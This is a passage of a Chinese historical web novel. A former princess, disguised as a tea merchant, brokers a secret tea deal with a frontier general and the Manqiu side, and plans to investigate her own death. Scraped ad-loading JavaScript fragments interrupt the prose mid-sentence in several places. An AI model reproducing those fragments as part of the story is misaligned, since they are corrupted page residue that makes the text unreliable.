说完，就见胡副将的脸色瞬间变了几变，她也不等对方问话，只说：“胡副将对崔将军忠心耿耿，怎会那般对待，此时说办法不是最紧要的，还是劳烦胡副将遣人往前走一趟，让那边的兄弟们赶紧停手。” 胡益见她说得在理就指了人过去，常乐赶紧拿出贴身的香囊递了过去。 “见到这个，他会相信你说的话。” 26. 黎安 等得几刻钟，远处终于响起人马跑动的声音，常乐起身，匆匆迎了上去。 “常娘子！”骑马跑在最前面的林牧川见到来人眸间一动，跑马上前几步，而后翻身下来走到近前。 “你没事吧？” 常乐摇头：“我无事，你呢？” “我也无事。”林牧川与她并肩往前走，“贾松说是你发现了他们是黎安将士伪装的？” “是！他们掩饰得很好，用黑布将面部都包住了，连喊话都是蛮丘语，但死掉的人露出了原本的样貌。” 常乐答后，见对方一直没回话，就疑惑地转头。 此时副将胡益走了过来，二人便没再搭话。 “林大人、常娘子，方才多有得罪。”胡益抱拳，“马车已经备好，娘子请上。” 常乐望着新驾来的马车，伸手拉过林牧川的衣袖道：“林大人也累了吧，一同上马车内休息一会儿吧。” 林牧川看出对方眼神中的暗示，于是点头。 见二人上了马车，季英就说：“那我就骑马护在马车旁边吧。”说完就牵了匹马翻身而上。 马车内，常乐发问：“林大人，你对崔召策将军了解多少？” 林牧川却并不搭话，只蹙眉看着对方。 常乐心中了然，她轻笑道：“或许我应该叫你，林副将。” 林牧川的瞳孔猛地一缩，但随即又释然道：“是香儿同你说的吧。” 见对方只是笑笑不表态，林牧川也不再问，只说起她对崔召策的印象。 “崔将军年过半百，大半生都守在黎安城，有他在，蛮丘再未踏入大昭一步。” 常乐便打断：“那为何还要遣公主和亲，为何不能将蛮丘远远赶走？” “因为没钱没粮饷。” “朝廷每年都给蛮丘那么多金银布匹、宝器珍玩，这些银子不是现成的粮饷？” 常乐言语不悦，但却没听到对方搭话，她抬眼去看，只见林牧川满目凄然。 她瞬间明白了什么，颓然地靠在车上之上，怔怔开口：“因为圣上不愿，他宁可将这些银子送给蛮丘，甚至……” 越说越激动，常乐的声音不由自主地拔高，一只手捂住了她的嘴。 林牧川双眉紧蹙，等对方眼睛看了过来，他才匆匆将手放下。 “抱歉，林某唐突了。” 常乐此时心乱如麻，她摇摇头说：“蛮丘兵强马壮，崔将军只能将其隔在黎安城外，但就这每年耗费的人马钱粮就比送给蛮丘的多，是不是？” 林牧川点点头：“不错。” “可是，就为了这些银两，就能献上亲女，罔顾祖辈尊严，甘心做蛮丘的粮仓？” 常乐问个不休，但林牧川的眉头却越皱越紧。 半晌，他才吐出几个字：“功高震主……” 常乐脑子轰地炸开，一些零碎的片段忽然闪过。 “你瞧瞧这写的什么？崔将军，崔将军……都是崔将军，他们眼里还有没有朕这个皇上！” “蛮丘上下只知崔将军，不知大昭皇帝……好，很好！” 这还是自己很小的时候，带着自己亲手泡好的茶去找父皇，却在勤政殿外听到了声声怒吼。 当时不懂，只知道父皇生气了，很害怕，就钻进嬷嬷的怀里哭了。 如今想来，从当时起，父皇就决定除掉崔将军了吧。 那为何又一直留着他呢？ 像是知道她内心的想法一样，林牧川幽幽开口：“只是蛮丘并不守信，遣了公主和亲，又予了金银财宝，但每到冬季，还是会领着军队来袭。” “十几年前，圣上一道诏令将崔将军召回朝堂，行至半路，黎安城大军压境，战报八百里加急送到皇城，圣上才急忙令将军返回。” “至此，崔将军再未离开黎安一步，但黎安城的兵马却一直在减少。” 听着这一切，常乐只觉得心头堵得慌，没有再搭话。 半晌，林牧川再度开口：“常娘子，你为何懂得蛮丘语？为何知道蛮丘人的长相衣着特点？为何对朝廷的争斗有所了解？” 常乐心头萦绕的思绪瞬间散开，她回望过去，只见林牧川双目灼灼地看着自己，眼神中尽是探问。 事情太乱太紧急，一时间竟然没有注意到此事。 她扯着假笑开口：“去年就说好要去蛮丘，这一年来我自然使人到处收罗有关的消息，我不是还特地制作了复合蛮丘人口味的茶叶吗？” 常乐晃了晃手中的香囊，这正是方才她让人充作信物的香囊，只是里面放着的不是香料，而是特地依照蛮丘人口味制作的茶叶。 林牧川深深看了常乐一眼，也不知是不是信了她的说法，他不再追问，而是挑了帘子下车，将季英换了上来。 一路行至黎安城时，天边已经泛起了鱼肚白，常乐一行三人被领着去了中军大帐。 不过相隔一天再见，两方人心中所想已经天翻地覆。 入座后，用了些净水干粮，崔召策就开了口：“军中粮食渐空，招待不周，还请见谅。” 说是见谅，但语气中不带半点歉意，仿佛例行公事。 “不敢。”常乐开口，“将军镇守边地不易，身为大昭子民，某该感激将军护国有功，使我等免遭战火。” 崔召策只看了常乐一眼，不再于这个话头上停留，转口便问起了军饷之事。 “胡副将说，娘子有办法令我军中将士长久地吃饱，不知是何办法，崔某洗耳恭听。” 常乐却不答话，反而提问：“我与林大人押送这万斤茶叶到此，身上并无多余银两，也无多余粮草，将军冒充蛮丘人相劫，想必是有茶叶的销路。” 崔召策不意她会提起此事，不悦地说：“此事与你无关，你只将办法说来我听。” “将军此言差矣。”常乐笑道，“术业有专攻，论打仗一万个我绑在一起也比不过将军，但若论卖茶，将军想必是不如我的，我千里迢迢随林大人赴边，就是为了打开茶叶的销路，既然将军手中有现成的，某想求合作。” “卖茶有何难？”此时开口的却是那浓眉大 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 眼的胡副将，“一手交钱一手交货，一万斤茶卖出去，总不至于只给我八千斤的茶钱。” 常乐便笑：“这么看来，将军确实已经寻到了销路。” 胡益被她的话噎住，转头去看上首的崔召策，后者摆摆手，转而向常乐道：“常娘子能将茶叶卖出更高的价格？” 常乐点头道：“我这茶叶与以往的茶叶不同，是特地根据蛮丘人的口味制成的，且需得按照我的方式沏茶才能尽得其味。” 说完这话，她忽然感觉身后一道目光传来，回头去看，只见林牧川嘴角含笑正打量着自己。 常乐便也想起两人初见时的场景，不由得也是一笑。 崔召策已经命人拿了几袋茶叶上来，让常乐沏茶。 常乐看了几眼，发现几种茶叶都拿了几袋，便长揖一礼道：“敢问将军，军中可有蛮丘人？” “蛮丘人？” “正是，我沏出茶来，令蛮丘人试过，让他们分辨出哪种茶味道更好。” 崔召策朝胡副将道：“去将那几个蛮丘人带来。” 胡益领命下去后，常乐招呼季英跟着自己一同去了军营的伙房。 待蛮丘人被带上来后，常乐和季英捧着几壶茶回到了军帐中。 依次给那些蛮丘人倒了茶后，他们不约而同地选中了其中的一种茶。 常乐朝着崔召策解释：“这就是我特地为此趟蛮丘之行制作的茶叶，与我们中原的口味不同。” 说完，她给崔将军倒了一杯，又招呼其他的将士尝试。 崔召策半信半疑地喝尽，回味了一会儿道：“颇为清凉，却又觉辛辣。” “正是。”常乐扬眉，“蛮丘苦寒，又以游牧为生，长期食用肉类，体内难免寒湿淤积，需要以清凉压制火气，有需以辛辣之味暖身。” “不错，确实有巧思。” “不仅如此。”常乐又道，“不知军中可有鲜牛乳和糖，我这其余一袋茶叶还有妙用。” 经前面之事，崔召策已对常乐信服八分，于是又指了人去取东西。 在炭火上架起锅，常乐将茶叶与糖在锅中炒热，而后加入牛乳，一瞬间，奶香味四溢开来。 “这便是我的沏茶之法，名为奶茶。”她舀了一碗奶茶递到崔将军面前。 “牛乳对我们大昭来说颇为难得，对蛮丘人来说却是随手可得，这茶叶乃是积年的陈茶、劣茶所制，经牛乳一激，所得之味别处难寻。” 见崔将军点头，常乐趁势又说：“陈茶、劣茶收上来本钱不多，但若是在蛮丘将此方法一宣扬，这茶叶便能卖出高价。” “崔将军，如此可能换得将军的合作？” “娘子将方法都说了出来，就不怕本将军直接将你们杀了，按照这个方法将贩茶所得尽收囊中？” “只要将军所求不仅是这一次的所得，而是长久的利益，那就不会如此做。” 常乐面上神采飞扬，直视崔将军道：“如何？将军可愿与我合作，日后我龙芽坊制作茶叶贩卖到此，将军可得三成利。” 27. 蛮丘 第二日，常乐便与林牧川重新领着队伍出发了，只是同行之人从季英换成了胡益。 当日，她与崔召策商定好了合作，崔将军令胡益领着十几名精锐士兵混入队伍中同行，以便与茶商取得联络，但要求将季英留下做人质。 常乐并不愿，还是季英苦劝，她最终才点了头。 从黎安城到蛮丘不过三日路程，行至勒坦城下，将盖了官印的文牒递上去后，吊桥缓慢放了下来。 此时日头西斜，胡益建议先寻住处，明日再启程。 常乐觉得他话里有话，也许他们所找的茶商就在此地，便点头同意了。 晚间，正准备换下男装就听到有敲门声，她打开门去看，见林牧川和胡益站在门口。 “胡副将说我们这就出发去找那人。”林牧川开口。 常乐凝眉，但瞬间就想通了，越黑风高，正好暗中会面，看来他们找到的茶商身份也不一般。 三人离开旅店，一路拣着黑暗之地走。 此时已是冬季，蛮丘苦寒，地上的积雪能至小腿肚，为避免留下痕迹，新鲜的雪地是不能踩的，只能走在已经被踩实的冻土之上。 虽然此时身穿男装更易行走，但常乐毕竟不比另外两人的体力和身法，渐渐有些体力不支。 走了有一刻钟后，她踩上一块坚硬的地方，脚下忽然一滑，身子就往前倒去。 “啊——”她惊呼出声，眼看着就要摔在地上。 然后右手手臂就被一股力量扯住，往前倒的身子瞬间立了起来，顺着这股力气，他身子往左旋，撞到了林牧川的背上。 常乐感觉脸上一热，她此刻无比庆幸周围漆黑一片，对方察觉不到她的脸红。 “你没事吧。”林牧川回头问。 常乐往后一步拉开两人的距离，顺势也把手臂从对方的手掌中收了回来。 “我没事，多谢。” “这路确实滑。”前面的胡益此时开口提议，“林兄弟，要不你拉着常娘子吧，要是真摔了可就不好了。” “不用不用。”常乐一迭连声开口，觉得自己的脸上更热了。 “我就在一旁走着就好，以我的身手不会让常娘子摔着的，胡副将你放心吧。”林牧川言语间毫无异样，仿佛真的只想着是否会摔着的事。 “哦，那也行，反正也就在前面了。”胡益更是不觉得方才的提议有何不妥，说完这句话，就又跨着步子领路了。 没过一会，前方就出现了火光。 “就是那里了。”胡益说着从怀里掏出了苍狼样式的面具。 “戴上这个，我们都不以真实面目示人。” 这路数……常乐心中惊疑，与林牧川对视一眼，发现对方也神色复杂。 戴好面具，三人一步步朝火光靠近，走到近前，才看清前面立了几座蛮丘帐篷。 察觉到有人来，守在帐篷外的两名护卫立刻转头，脸上也带着同样的苍狼面具。 他们举着火把上前，常乐看到胡益从怀里摸出了一个什么递到那两人眼前，后者随即将左手按上右边的肩头弯腰行礼。 得到胡益的示意后，常乐与林牧川即刻跟上。 两名护卫领着三人到了最大的一座帐篷面前，其中一人进去了一会儿后，又出来示意几人进去。 走进帐篷内，温暖的空气瞬间将整个身子包裹在内，常乐不由得轻吁一口气。 离开两年，生活在一年只见几日雪的庆丰县，她都快忘记蛮丘的寒冷了。 帐篷内燃着五六个篝火，是用此地特有的木材所点，气味不太难闻，那三年，她也是靠着这些篝火度过漫长的冬季。 此时闻到熟悉的味道，她有些失神。 还是林牧川在旁轻扯了一下她的衣角，常乐才发觉胡益正抱拳施礼，而他对面的那人左手搭上右肩弯腰，是个标准的蛮丘礼仪。 客套过后，常乐被引着往右侧的一排凳子走，一边走着她脑中忽有什么一闪而过。她的脚步就慢了下来，本走在三人中间，行走到地点时她已落后林牧川半个身子。 “你坐中间。”耳边忽然传来的轻声耳语将她的思绪彻底拉回。 胡益此时已大大剌剌地在第一个位置上坐了下来，她被林牧川侧身让到了第二个位置上。 等众人坐定以后，她才明白对方为何如此安排。 左手边的正位上，那名方才与胡益互相见礼的蛮丘男子面对着帐篷大门端坐，身边立着一名手握弯刀的护卫。对面坐着的皆是蛮丘人，而林牧川的右手边还坐了两名蛮丘人。 在座所有的蛮丘人也同样带着苍狼面具，大家彼此之间都不见对方的真实面目。 原来他是想要把自己和蛮丘人隔开，常乐心头忽然一暖。 这心思不过一瞬，对面的蛮丘人已经开始用蹩脚的大昭话问起茶叶的事。 “你们有多少茶叶？有没有带几份过来？” 胡益便答话：“我们这边有这几种茶叶，一共三十万斤，各带了半斤过来。”说着，他把一直背在身上的包袱解下来递了过去。 对方打开包袱看了一眼，忽然又问：“可有加了茉莉花的茶？” 胡益就转头看向常乐，常乐面具下的眉头一皱，但并未说话点了点头。 那人闻言翻了翻包袱，随即又递给胡益，道：“我们要看看加了茉莉花的茶叶。” 胡益接后就转向常乐，常乐无奈，从包袱里拿出香盈袖，以及其他加了茉莉花茶叶的茶包。 那人将茶包恭敬地奉到上首男子处，后者接过后放在鼻子前闻了闻，而后点了头。 “你们的茶叶很好，我们可以交易，这些茉莉花香的就按照十两银子一斤收了。” 常乐心中的疑惑越来越深，为何他们要茉莉花香的茶叶，为何上首那人只闻了闻就确定了是所要的茶叶。 难不成自己的茶叶已经远传到了蛮丘，且被一个颇有势力的人或者群体看上了？ 十两银子一斤，已经算是比较高的价格了，但为何呢？ 她心里千头万绪找不到一个合理的解释，一旁的胡益已经开始和蛮丘人商讨其余茶叶的价格了。 “你们可以泡来喝一喝，是专门按照蛮丘的口味制作的茶，绝对可以让你们 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 大赚一笔！” 听了他的话，对面的人半信半疑地提着热水沏茶，才喝一口，那人就顿了顿，而后低头看了眼杯子，又大喝了一口。 紧接着，他拿出另一个干净的杯子，又沏了一杯递到上首之人面前。 “将军，这个茶好像不错。” 这话是用蛮丘语说的，常乐听了心道原来如此，难怪要带着面具见面，合着交易的双方都是将军。 大昭的将军背着皇帝抢夺官茶，蛮丘这边的将军做下此事蛮丘王知不知道呢？ 常乐脑中浮现蛮丘王的样子，身高肩阔、鹰鼻厉目，裸露的两臂上结着坚硬的肌肉。两人初见时，她不过十七岁，而他却已经三十有余，她依旧记得那时忐忑恐惧的心理。 面对他时，她大气都不敢喘，生怕惹恼了对方，被他那巨大的拳头砸在身上。 正式成亲的那晚，等众人都散去以后，他起身离榻，揽过一直侍立在旁的一个侍女。 而后，两人就在她的脚下的地毯上做起了那等事。 彼时的常乐惊愕异常，心中半是庆幸半是恐惧。庆幸的是不需与那人肌肤相亲，恐惧的是她不知道蛮丘王为何要如此行事，这件事对她日后的影响究竟有多大。 不久，蛮丘王气喘如牛，她乍着胆子往地上一瞥，瞬间就与地上侍女的四目相对。 那是一双带着恶毒、嫉妒、炫耀的眸子，从此以后她再也未曾忘掉这双眸子。 一直到那天，她在湖边走着，脚腕忽然一痛，然后她就直直地往湖跌去。 在落水前一刻，她又看到了那双眸子，只是当时，眸子里蓄满得是得意和嚣张。 回忆到此处，常乐的手臂忽然一痛，她转头，却原来是胡益拍了她一下。 “怎么在发呆呢？你说，这是茶叶是不是要和奶放在一起喝？” 她低头一看，原来是自己作坊处理过的陈茶、劣茶，那胡益跟对方说不清楚，就开始向她求助。 她刚想开口，袋子就被另只手夺了过去。 “诸位见谅，这是在下的一个随从，到了外国异邦有些胆怯，还是我来与诸位介绍吧。” 常乐就眼见着林牧川向对方要来了陶罐、糖和牛乳，照着自己原来在黎安城中军大帐中的手法将奶茶做了出来。 新鲜的奶茶清香四溢，对面的那位蛮丘人照样在尝了以后重新倒了一杯奉给上首的将军。 那位将军在尝过以后点了头，常乐心中松了口气。 胡益不懂茶也不懂商、常乐已经不便开口，随后的谈价全由林牧川一人包揽，好在最终的结果不错，他们捏着签好的契书出了帐篷。 天快要亮了，为了避免被人发现，三人顾不得疲惫匆匆往回赶，终于在天边亮起第一缕阳光的时候回到了旅店。 天寒不宜沐浴，但匆匆走路出了一身汗破不舒服，常乐便朝店家要了两壶热水准备稍微擦一擦。 将水倒好后，她伸手按了按发酸的肩膀，忽然，她脑中又闪过当时在帐篷里觉察出的不对劲。 常乐的动作一顿，眸子瞬间亮了起来。 原来如此！ 28. 推测 午时，常乐房间内摆了满桌的菜肴：手抓羊肉、炖牛肉、馕包肉等都是蛮丘独有的美味，除此之外还有些浇汁蔬菜并奶豆腐、烤包子等。 林牧川与胡益被她相邀一同在房间里用饭，待大家都填饱了肚子，她才开始提起正事。 “胡副将，可否将你们与蛮丘茶商联络的细节再说说？” 自从达成合作以后，常乐便打听了他们与茶商商谈之事，将经过了解了个大概。 今年开春，天子发布诏令开通与蛮丘的茶叶交易，许多茶商带着茶叶途径黎安城往蛮丘做生意。 在一伙茶商越过城池一日后，忽然队伍中有一人急冲冲赶至城下叫门，直说商队糟了蛮丘军队的袭击。 崔将军亲自带兵去救援，经过战斗，活捉了队伍的首领，那人看出黎安城缺饷的窘境，就提出了高价收茶的合作。 起初崔将军并未答应，但眼看着将士们越发面黄肌瘦的体格，他最终还是点了头。 但他也与众众将士说，只夺控茶司的茶叶，并不劫掠其余茶商。 一来，控茶司运送的茶叶数量多，只夺这一次便能有客观的收益；二来，茶商的生计被夺可能家破人亡，而控茶司运送的是朝廷的茶叶，到时将脏水往蛮丘身上一泼，他们不至于有太大的罪过。 常乐得知以后，不禁佩服崔将军的为人和胆量，若是他再黑心些，只挑平民茶商动手，朝廷甚至可能睁一只眼闭一只眼。 但他选择劫掠控茶司，届时控茶司的官员不论生死，天子都不得不过黎安城的罪责。 自己的城门下，朝廷官员被蛮丘所袭，他们竟然无力夺回！ 但崔将军却有这份胆魄，想来是因为整个朝廷已然找不出一个堪担任黎安城守将职责之人，天子纵追究，也不会太过。 思索至此，常乐心中不禁升起一丝悲凉。 胡益再次将经过说了一次，和之前并无不同，她便问：“昨夜上座那位将军，胡副将可知是否是当日活捉之人。” “不是，那人生得膀大腰圆，和我有得一拼。”胡益说着拍了拍自己的胸膛。 常乐回忆起昨夜那位将军的体型，不矮也不瘦，但绝对和膀大腰圆扯不上关系。 于是她又问：“带面具一事，是当初就定下来的吗？” 胡益摇头：“并不是，是一个月以后，城门上忽然有箭射了过来，箭上绑着的信中皆是一样的内容，就是说要带着面具见面，对了，那面具也是一同用箭射进来的。” “也就是说，你们其实并不能保证两次见面的人是同一伙人？” 常乐此言一出，把胡益吓得不轻，他瞪圆了双眼道：“娘子此话何意？难不成这两次接触的是两班人马？” “现在还不确定，但如果我推测得不错的话，昨日与我们交涉的那个所谓的将军应该是个女人。” “女人！”胡益与林牧川同时喊了一句。 常乐点头，然后起身将左手搭在右肩上，按照蛮丘的礼仪鞠了一躬。 “两位有看出什么异样吗？”她问。 “这不就是蛮丘最常见的行礼吗？就跟我们的抱拳一样，”胡益接话，“如果她是女人的话，应该用右手才是。” “没错，这确实不是蛮丘女子的行礼习惯，但她既然伪装成男子那就必须用左手，然后，百密一疏，她还是疏忽了另一个点。” 常乐将左手抬起，道：“你们都未注意到，我方才行礼的时候，大拇指是扣在掌心内的，而这是女子才会有的动作。” “可是，这会不会是那位将军不小心使然？”林牧川问。 “这个我也想过，但还有一件事可为佐证了。”常乐接着说，“你们回忆一下，作为在地位最高的蛮丘人，这个所谓的将军全程没有说过一句话。” “确实……”林牧川忽然接口，“当时娘子也是怕女子身份暴露才一直未搭话的，那她可能也是如此。” 常乐有一瞬间的呆愣，当时没有说话确实有这方面的考虑，毕竟在外邦，女子的身份更添了一份危险。 但更为重要的还是当时自己陷入了回忆，才迟迟未接口。 难怪习惯于沉默观察的林牧川当时那么主动地介绍起了茶叶，原来是为了不使自己暴露。 她不免多看了对方一眼。 “这……”胡益却在此时开口，“你的意思是，她是尔云珠的人？” 听到这个名字，常乐心中一动，但面上却并未显现出来，只是点点头：“我料想，是这样的。” “当初被我们活捉的人，虽然此前没有见过，但能确定绝对不是尔云珠的人。”胡益说完一拳砸在桌子上，“这究竟是怎么回事？怎么蛮丘王妹也搅进来了？” “此事尚未有定论，这也只是我们的推论而已，具体事实如何还待探查。” 常乐说完，林牧川接着道：“今夜，我们便要带着茶叶去与他们交易，届时那位将军应当会在场，我们到时随机应变吧。” 胡益此时也点了点头，然后起身说：“如果真的牵涉到了尔云珠，这事就不是我能决定的了，今晚究竟如何行动，我还要请示崔将军。” 他刚想离开，就被常乐叫住。 “胡副将，据你推测，如果此人真是蛮丘王妹尔云珠的人，那崔将军会有怎样的命令？” 胡益停下脚步想了想，忽然垂头说：“如今在对方的地界，万事皆要小心行事，将军想必只会让我们按兵不动正常交易，但将军深谋远虑，总归会交代些需要主意的事项。” 常乐见他说得在理，便点点头没有多说什么。 “哥哥与我们通商，妹妹明知有人破坏此事竟然还自己伸手去做，这两人还真是针锋相对。” 胡益出门前嘴里嘀嘀咕咕，常乐听他说的话心头一紧，好似有什么不对劲，但又说不上来。 没等她细想，一道探索的视线就令她收回了思绪。 林牧川正打量着自己，常乐见状立刻在心中想着说辞。 方才自己的表现确实太可疑了，蛮丘那么小的行礼细节，连胡益这长期待在黎安城的人都没有察觉到，自己这个首次踏足此地的人是怎么知道的。 正预备着对方问起，就像原来那般推说到为了贩茶而对蛮丘 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 风土人情的提前了解上，谁料对方一开口竟然提起了完全不相干的事。 “常娘子可休息好了？” “啊？”她有些诧异，“哦……休息好了。” “可否赏脸和在下逛一逛着蛮丘的街市？”他忽然走到窗户面前，将帘子掀开王外瞧。“我还是第一次到蛮丘来呢，瞧着这边的市井生活很是新奇。” 窗外的冷风吹了进来，将房间内的闷热吹散了些许，外面不断传来蛮丘语的叫卖声。 这是勒坦城最繁华的所在，虽然已是寒冬，但外出采买的人依旧络绎不绝。 嫁到蛮丘三年，一直生活在王城之内，还从未踏足此地。 “巧了，我也是第一次到这儿来，对这的风土人情很是感兴趣。” 叫来旅店的伙计收拾好桌子，常乐锁上房门就和林牧川一道往外走。 屋外寒风不断，但街头上人潮涌动，竟也不觉得有多冷。她在一处卖织物的小摊前，拿起了一条羊毛披肩围在身上比划。 那摊主立刻走上前来不住夸赞，待看清她的面孔后，又用蹩脚的昭国语言说着好看、美丽等字眼。 见说得几句眼前的女子都没有掏钱的趋势，他又赶忙朝着背后的男人开口。 “公子，买吧，你夫人，这个，好看！只要三十两。”他边说边比划，夫人这两字把林牧川吓得不轻。 他刚想摆手解释，就被一只手挡住。 只见对方用蛮丘语和摊主说着什么，看样子像是在砍价。 看样子是没谈拢，那摊主手里捏着披肩又朝着他伸出两根手指：“二十两，只要，二十两。” 林牧川忽然一笑，他接过披肩对常乐说：“你喜欢吗？” 常乐回头，一张明媚的脸就落进了他的眸子，她道：“好看，喜欢呀。” “那就买吧，二十两也不贵。”说着他就去摸怀中的钱袋。 “欸欸欸，你干嘛。”常乐立刻拉着他的手阻止。 “请娘子陪我逛这里的街市，这个披肩就当是礼品。”林牧川回答。 “不是说这个。”常乐一把扯过他手中的披肩扔到摊主手里，然后急忙将他拉到一边。 “你傻呀，这个披肩最多只值五两银子，你怎么能出二十两银子呢！” “啊？”林牧川哑口无言。 “一看就是没有逛过街市的。”常乐拉着他往前走，到了另一处卖织物的小摊前。 摊主是个女人，见到来人立刻热情地迎接。 常乐拿了一条与方才一样的披肩，摊主立刻笑盈盈地比出一个手势。 “她这是说，八两银子。” “看来这个店主实在些。”林牧川搭话。 “你傻啊！”常乐惊讶地看了他一眼，“她分明是听到了我和前面那个摊主的对话，知道我是懂行的。” 林牧川便笑：“那便八两银子买下吧，这大冷天，也让她好好赚一笔。” 说着，他便掏了钱，常乐还在一旁连声相劝。 末了，她拿着披肩感叹一句：“林大人，我之前怎么没发现你的钱这么好赚。” 29. 绑架 第二日，常乐三人带着运送茶叶的队伍往说定好的地方行进，路上说起崔将军的回话。 “将军说按计划行事，若能探清那人的身份当然好，但前提是不要打草惊蛇。” 听着胡益的话，常乐与林牧川对视一眼，若有所思。 一路别无他话，行至黄昏时候，他们就近找了个旅店落脚。进店后就要了饭菜茶水，吃饱睡足以后，三更十分，几人悄无声息地起身往西边赶路。 过了有两刻钟，便看到前方的雪地上有着大队人马，正是他们的茶队。 未避免引人注目，他们令茶队包了马蹄，并吩咐入夜以后分批离开到此地汇合。 胡益打开当日蛮丘茶商给的地图，辨明方向后就朝着目的地开拔。 冰天雪地、寒风猎猎，胡益率领的兵马早熟悉了此地的气候，但常乐与林牧川与茶队之人可就没这么好受了。 磕磕绊绊地终于看见了驻扎的帐篷，三人将苍狼面具带上，其余没有面具的人皆以黑布覆盖口鼻，在大毡帽的掩盖下，堪堪露出两只眼睛。 胡益上前将信物展示到护卫的眼前，那人便匆忙往帐篷里赶，不过片刻里面就走出来五六个人，领头的依旧是那个所谓的“将军”。 互相见礼时，常乐特地主意了此人的手势，此次却是五指并拢，拇指并未扣到内里。 正在她疑惑之际，这人径直走向了自己，像是有话要说，但两人相隔一步之时，此人又一声不吭地转头走了。 就在对方从自己面前缓步走过时，常乐睁大了双眼，因为她看到此人的斗篷之下，露出了一截羊毛织物，其上的花纹与昨日林牧川送自己的一模一样。 她不由得上前一步，却见那人已经专心看起了茶叶，仿佛方才就是随意选了一个方向行动而已。 常乐的错愕没保持多久，因为蛮丘那边的人已经开始询问、清点茶叶，林牧川和胡益在一旁陪着解释。 她不想暴露自己的女子身份，便只站在一旁计算着一袋袋被抗走的茶叶，以及合计的银子。 忽然，眼前有什么东西一闪，转头就见一袋茶叶将从板车上跌下来，她立刻赶过去扶着。 同时扶着茶叶袋子的正是那个将军，常乐耳里无比清晰地听见了一声低呼，那时属于女人的声音！ 为了崔将军所说的不打草惊蛇，她假装自己没听见，放好茶袋以后就退到原地继续看蛮丘队伍搬茶，眼角则看见将军也若无其事地继续查看茶叶的成色。 前后忙活了一个多时辰才算交割清楚，一行人压着银子往回走，常乐就将自己所见所听说与二人。 “这么说来，此人真是女的？真是蛮丘王妹尔云珠的部下？”胡益瞪大了双眼。 “蛮丘境内能被称为将军的女子，除了尔云珠的部下，还有其他可能吗？”林牧川问 “那就没有了，只有此人会让女人当将军。”胡益摇头，然后又转向常乐，“你确定那天的那句蛮丘语说的是将军？” 当时他们只有三人前往，谈话全靠那位懂大昭语言的蛮丘人，林牧川不懂蛮丘语很正常，但胡益这个长期与蛮丘作战的也不懂？ 常乐便把那日听到的话重复了一遍，胡益不好意思地挠头道：“我是个粗人，着实不懂这蛮丘的鸟语，要不是蛮丘这边点名了让我交易，崔将军也不会让我过来。” 原来如此，看来蛮丘这边的人确实颇为防备。 “既然常娘子能将此话重复出来，看来此人十有八九就是尔云珠的部下了。”胡益说完就开始思索着什么，常乐和林牧川见状也就不再开口。 等行走到有人的地方，众人又照之前的办法化整为零赶路，等到旅店之时已经到了午时。 众人用过饭后歇息，一直到第二日清晨，胡益敲了常乐的房门说着早些启程往黎安城赶。 “这么多银子放在这里总归不安全，我们还是快些上路吧。” 常乐道：“胡副将，我没打算走，所以还是劳烦你帮忙将我的银子也一并带回。” 胡益一脸惊讶：“怎么？你要待在这里？你待在这里干什么，不怕危险吗？” “当然是为了打开茶叶销路咯。”常乐扬眉，“蛮丘既然喜欢我的茉莉茶，我当然要多找些买家，才能赚的更多。” “难怪你要留下几袋茶叶。”胡益依旧劝告，“可是这毕竟不是大昭，你一个妇道人家只身在此恐遭不测。” 他这边说着，忽然眼前一亮，朝着前方招手道：“林大人你一大早去哪儿了，我一睁眼你就不见了。你赶快来劝劝常娘子，她说要留在这里卖茶叶。” 林牧川前面还满脸堆笑，听到后面一句就蹙了眉看向常乐。 “你看，林大人也觉得不妥吧。”胡益就拉着林牧川直喊。 林牧川却不急着劝告，沉吟了一会儿才开口，“常娘子有何打算？” 常乐笑道：“如今银子已经到手，想必崔将军也能放下心，劳烦胡副将派人尽快让季英过来，有她护着我不会出事的。” 胡益见她打定了主意，也就不再苦劝，立刻招手喊了人往黎安城去一趟。 常乐又转向林牧川说：“我此番是不能在春茶制作时赶回了，还要请林大人帮忙将银子带回龙芽坊，并将这封信交给程兰心，她知道怎么做。” 林牧川接过信应下，又说：“押送银子不需这么多护卫，我让贾松领着几人暗中护卫，也好保你安全。” 常乐听后一笑：“那就多谢林大人了。” 胡益在旁忽然一拍大腿：“林大人，咱们打个商量，我让两个士兵穿了你护卫的衣服留在蛮丘，如何？” 林牧川转眼就明白了他的意思，开口道：“有何不可。” 用过早饭，常乐便送二人上路，待人马走出视线，她便与留下的护卫认了脸，又说定了护卫行事的安排，然后就让他们散了。 回到房间打开地图，她将手指点在目前所在的位置，眼睛望着蛮丘王城的方向。 要想弄清自己死亡的真相，就需要进到王城，接近那个名叫布珊的侍女，至少也需要从其他下人那里打听她的消息。 新婚之 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 夜，她坐在陪嫁的床上一夜未眠，而那两人从脚下的地毯转战到了另一边的榻上，欢愉声彻夜未止。 当时，她以为这是蛮丘王在给她立威，警告她不要自恃身份。 但第二日，第三日，直到后续的三年，只要他进自己的帐篷，屏退众人后，就会与布珊纠缠在一起。 自己看了三年的活春宫，从开始的局促到恶心到最后变成了麻木，任那边喊声震天，她只管和衣而眠。 这时她才明白，警告她的不是蛮丘王乌叱敦，而是布珊，她表面上是侍女，实则是乌叱敦的情妇。 乌叱敦当然不止自己一个阏氏，毕竟蛮丘重子嗣，一个不能生育子嗣的王是会被推下位的，所以他与其他蛮丘的阏氏是有孩子的。 直到她看到那些阏氏，才恍然大悟。 那些人生得歪瓜裂枣、百拙千丑，竟都是布珊让蛮丘王娶的，只有自己是她做不得主的，所以她才会如此羞辱自己。 但常乐却并不以此为忤，反而庆幸不需与这个野蛮人有肌肤之亲。 只是她不料，自己已经退了这么大一步，由着他们如此下自己的脸面，甚至有时还帮着他们周全，那布珊还是如此恨自己，恨到让自己去死的程度。 如今朝廷上已经再议和亲之事，胞妹将步自己的后尘嫁给乌叱敦，她不能让这件事发生，她一定要想办法阻止这件事！ 只是，蛮丘王城却不是那么好近的，她要用什么方法才能进到王城呢？ 常乐的视线落到身边的茶叶上，而后，她想到了什么，但计划要想成功，还需要有其他的准备。 